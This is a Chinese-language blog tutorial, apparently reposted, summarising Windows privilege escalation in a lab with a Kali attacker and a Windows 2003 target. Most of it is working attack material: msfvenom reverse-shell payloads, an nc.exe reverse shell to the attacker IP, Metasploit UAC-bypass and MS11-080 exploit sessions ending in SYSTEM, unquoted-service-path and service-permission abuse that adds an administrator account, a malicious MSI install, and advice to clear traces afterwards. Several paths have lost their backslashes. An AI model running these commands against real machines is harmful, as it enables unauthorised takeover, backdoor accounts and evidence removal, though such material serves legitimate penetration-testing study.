zoukankan      html  css  js  c++  java
  • 35.windows提权总结

    本文参考自冷逸大佬的博客,源地址在这里:https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/

    windows提权

    windows下的权限:

    - user
        - administrator
            - system

    一些常用命令:

    systeminfo | findstr OS #获取系统版本信息
    hostname    #获取主机名称
    whomai /priv    #显示当前用户的安全特权
    quser or query user    #获取在线用户
    netstat -ano | findstr 3389    #获取rdp连接来源IP
    dir c:programdata #分析安装杀软
    wmic qfe get Caption,Description,HotFixID,InstalledOn    #列出已安装的补丁
    REG query HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber    #获取远程端口
    tasklist /svc | find "TermService" + netstat -ano    #获取远程端口

    windows 2003,xp

    现在03的机器已经很少了,所以现在只是简单的说一些常见的思路,操作,第三方之类的除外

    实验环境:

    windows 2003:192.168.0.105

    kali : 192.168.0.107

    首先生成个木马:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=4444 -f exe -o payload.exe

    如果有waf,生成的木马文件会被删除,可以使用veil生成免杀马,当然如果只是为了反弹shell,也可以上传一个nc.exe,在目标服务器上执行nc正向连接:

    nc.exe -e cmd.exe 192.168.0.107 4444

    nc shell反弹成功后:

    msf shell反弹成功后,查看当前权限

    windows2003 可以直接 getsystem提权

    提权失败,一般可能是uac的问题,尝试bypass uac

    • use exploit/windows/local/ask
    msf5 exploit(multi/handler) > use exploit/windows/local/ask
    msf5 exploit(windows/local/ask) > show options 
    
    Module options (exploit/windows/local/ask):
    
       Name       Current Setting  Required  Description
       ----       ---------------  --------  -----------
       FILENAME                    no        File name on disk
       PATH                        no        Location on disk, %TEMP% used if not set
       SESSION                     yes       The session to run this module on.
       TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Windows
    
    
    msf5 exploit(windows/local/ask) > set SESSION 2
    SESSION => 2
    msf5 exploit(windows/local/ask) > set TECHNIQUE up.exe
    [-] The following options failed to validate: Value 'up.exe' is not valid for option 'TECHNIQUE'.
    TECHNIQUE => EXE
    msf5 exploit(windows/local/ask) > set TECHNIQUE EXE
    TECHNIQUE => EXE
    msf5 exploit(windows/local/ask) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf5 exploit(windows/local/ask) > set lhost 192.168.0.107
    lhost => 192.168.0.107
    msf5 exploit(windows/local/ask) > show options 
    
    Module options (exploit/windows/local/ask):
    
       Name       Current Setting  Required  Description
       ----       ---------------  --------  -----------
       FILENAME                    no        File name on disk
       PATH                        no        Location on disk, %TEMP% used if not set
       SESSION    2                yes       The session to run this module on.
       TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)
    
    
    Payload options (windows/meterpreter/reverse_tcp):
    
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
       LHOST     192.168.0.107    yes       The listen address (an interface may be specified)
       LPORT     4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Windows
    
    
    msf5 exploit(windows/local/ask) > sessions -i
    
    Active sessions
    ===============
    
      Id  Name  Type                     Information                                 Connection
      --  ----  ----                     -----------                                 ----------
      1         meterpreter x86/windows  SERVER-816F6090xiaoming @ SERVER-816F6090  192.168.0.107:4444 -> 192.168.0.105:1032 (192.168.0.105)
      2         meterpreter x86/windows  SERVER-816F6090xiaoming @ SERVER-816F6090  192.168.0.107:4444 -> 192.168.0.105:1033 (192.168.0.105)
    
    msf5 exploit(windows/local/ask) > exploit 
    
    [*] Started reverse TCP handler on 192.168.0.107:4444 
    [+] UAC is not enabled, no prompt for the user
    [*] Uploading VerOkoVbPk.exe - 73802 bytes to the filesystem...
    [*] Executing Command!

    或者

    • use exploit/windows/local/bypassuac
    • use exploit/windows/local/bypassuac_injection

    使用漏洞提权

    meterpreter > run post/windows/gather/enum_patches
    
    [+] KB2871997 is missing
    [+] KB2928120 is missing
    [+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86)
    [+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008
    [+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2
    [+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity
    [+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1
    [+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1

    以ms11-080为例

    msf5 > use exploit/windows/local/ms11_080_afdjoinleaf 
    msf5 exploit(windows/local/ms11_080_afdjoinleaf) > show options 
    
    Module options (exploit/windows/local/ms11_080_afdjoinleaf):
    
       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       SESSION                   yes       The session to run this module on.
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Automatic
    
    
    msf5 exploit(windows/local/ms11_080_afdjoinleaf) > set SESSION 2
    SESSION => 2
    msf5 exploit(windows/local/ms11_080_afdjoinleaf) > run
    
    [*] Started reverse TCP handler on 192.168.0.107:4444 
    [*] Running against Windows Server 2003 SP2
    [*] HaliQuerySystemInformation Address: 0x80a6ba1e
    [*] HalpSetSystemInformation Address: 0x80a6dc60
    [*] Triggering AFDJoinLeaf pointer overwrite...
    [*] Injecting the payload into SYSTEM process: winlogon.exe
    [*] Sending stage (179779 bytes) to 192.168.0.105
    [*] Restoring the original token...
    [*] Meterpreter session 3 opened (192.168.0.107:4444 -> 192.168.0.105:1035) at 2019-05-13 21:26:33 +0800
    
    meterpreter > getuid 
    Server username: NT AUTHORITYSYSTEM

    提权成功

    at命令提权

    在 Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以轻松将Administrators 组下的用户权限提升到 SYSTEM

    at 是一个发布定时任务计划的命令行工具,语法比较简单。通过 at 命令发布的定时任务计划, Windows 默认以 SYSTEM 权限运行。定时任务计划可以是批处理、

    可以是一个二进制文件。

    语法:at 时间 命令
    
    例子:at 10:45PM calc.exe 

    该命令会发布一个定时任务计划,在每日的 10:45 启动 calc.exe。

    我们可以通过 “/interactive”开启界面交互模式:

    at 10:45PM /interactive calc.exe 

    在得到一个system的cmd之后,使用taskmgr命令调用任务管理器,此时的任务管理器是system权限,然后kill掉explore进程,

    再使用任务管理器新建explore进程,将会得到一个system的桌面环境

    at配合msf提权

    可以采用 Regsvr32 一条命令上线

    msf下配置

    cmd下执行

    等待上线

    可是这里一般会出现问题..

    然后我们也可以选择上线木马的方式来获取shell

    等待上线

    上线后为system

    windows 7,8,12,16

    SC命令提权

    ps:经测试03也可以

    关于sc命令:

    SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。

    创建一个名叫syscmd的新的交互式的cmd服务:

    SC Create syscmd binPath= "cmd /K start" type= own type= interact

    然后执行:

    sc start systcmd

    就得到了一个system权限的cmd环境

    通过不带引号的服务路径

    当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。

    当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

    这可能有点不直观,所以让我们来看一个实际的例子。假设服务配置类似于以下存在bug的示例服务:

    Windows命令解释程序可能会遇到名称中的空格,并且希望通过将字符串包装在引号中来对它们进行转义。在上面的示例中,如果系统运行该服务,它将尝试运行以下可执行文件:

    C:Program.exe
    C:Program FilesVulnerable.exe
    C:Program FilesVulnerable ServiceSub.exe
    C:Program FilesVulnerable ServiceSub Directoryservice.exe

    所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,服务一旦重启,我们的恶意程序就会以system权限运行(大多数情况下)。

    我们可以使用以下命令查看错误配置的路径

    wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr /i /v """

    这里我们枚举出下列路径:

    C:Program Files (x86)CiscoCisco HostScaninciscod.exe

    这个路径没有被双引号包裹,而且文件名中也存在空格。

    现在,我们需要使用下列命令识别文件目录权限,判断是否有写入权限:

    icacls C:Program Files (x86)Cisco

    (M)代表修改权限,(F)代表完全控制,(CI)代表从属容器将继承访问控制项,(OI)代表从属文件将继承访问控制项。

    如果它给任何人提供了写入权限,这也就意味着任何用户都可以重写该文件

    将我们需要执行的exe根据需要重命名并放置在可写入的有漏洞目录下,然后运行如下命令尝试重启服务,如果失败的话等待服务器重启时执行exe,成功提权后记得清理痕迹。

    重启机器:

    sc stop service_name
    sc start service_name

    假如我们的exe会弹回一个SYSTEM权限的meterpreter shell,但是我们新得到的会话很快就中断了。这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。我们所有需要做的就是在终止载荷进程之前,将它迁移到其它进程,也可以使用自动迁移

    set AutoRunScript migrate -f

    此外msf下已经集成了该模块(exploit/windows/local/trusted_service_path )

    不过不太好用...

    不安全的服务权限

    Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如,JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。

    metasploit集成了漏洞利用模块exploit/windows/local/service_permissions

    1.检查易受攻击的服务.SERVICE_ALL_ACCESS的意思是我们对“Vulnerable Service”的属性拥有完全控制权。

    accesschk.exe -uwcqv "Authenticated Users" * /accepteula
    
    accesschk.exe -uwcqv "user" *

    2.查看可以完全控制的服务的属性:

    sc qc "Service"

    3.修改服务配置执行命令。BINARY_PATH_NAME参数指向了该服务的可执行程序(PFNET)路径。如果我们将这个值修改成任何命令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。

    sc config PFNET binpath= "net user rottenadmin P@ssword123! /add"
    sc stop PFNET
    sc start PFNET
    sc config PFNET binpath= "net localgroup rottenadmin P@ssword123! /add" sc stop PFNET sc start PFNET

    当尝试启动服务时,它会返回一个错误。这一点我们之前已经讨论过了,在Windows系统中,当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。上面的“net user”肯定是无法和服务管理器通信的,但是不用担心,我们的命令已经以SYSTEM权限运行了,并且成功添加了一个用户。

    4.提权成功后修改服务配置,清理痕迹。

    任意用户以NT AUTHORITYSYSTEM权限安装msi

    AlwaysInstallElevated是一个策略设置,允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。

    可以通过查询以下注册表来识别此设置,当两个注册表键值查询结果均为1时,代表该策略已启用。

    [HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001
    [HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] “AlwaysInstallElevated”=dword:00000001

    详细利用步骤如下:

    使用reg query命令查询是否存在漏洞

    reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
    or reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller
    /v AlwaysInstallElevated

    如果存在漏洞,上面将输出以下内容

    如果系统没这个漏洞,它将输出错误

    C:UsershpDesktop>reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
    reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
    ERROR: The system was unable to find the specified registry key or value.

    然后我们使用msfvenom生成msi文件,进行提权

    msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msi

    然后使用

    msiexec /quiet /qn /i C:UsersSteve.INFERNODownloads
    otten.msi 

    即可

    另附参考链接:

    提权系列(一)----Windows Service 服务器提权初识与exp提权,mysql提权

    提权系列(二)----Windows Service 服务器提权之Mssql提权,GetPass提权,hash提权,LPK提权

    Windows提权系列————上篇

    Windows平台下实现提权的新姿势

  • 相关阅读:
    Java多线程的两种实现方式
    Java实现验证码的产生和验证
    web前端对上传的文件进行类型大小判断的js自定义函数
    Java前端Rsa公钥加密,后端Rsa私钥解密(支持字符和中文)
    了解火爆的区块链和比特币
    Java中调用JavaScript方法
    Java读取文件的问题
    SpringBoot热部署简介
    Java使用Jetty实现嵌入式Web服务器及Servlet容器
    『安全工具』目录扫描 DirBuster AND 御剑
  • 原文地址:https://www.cnblogs.com/bmjoker/p/10905173.html
Copyright © 2011-2022 走看看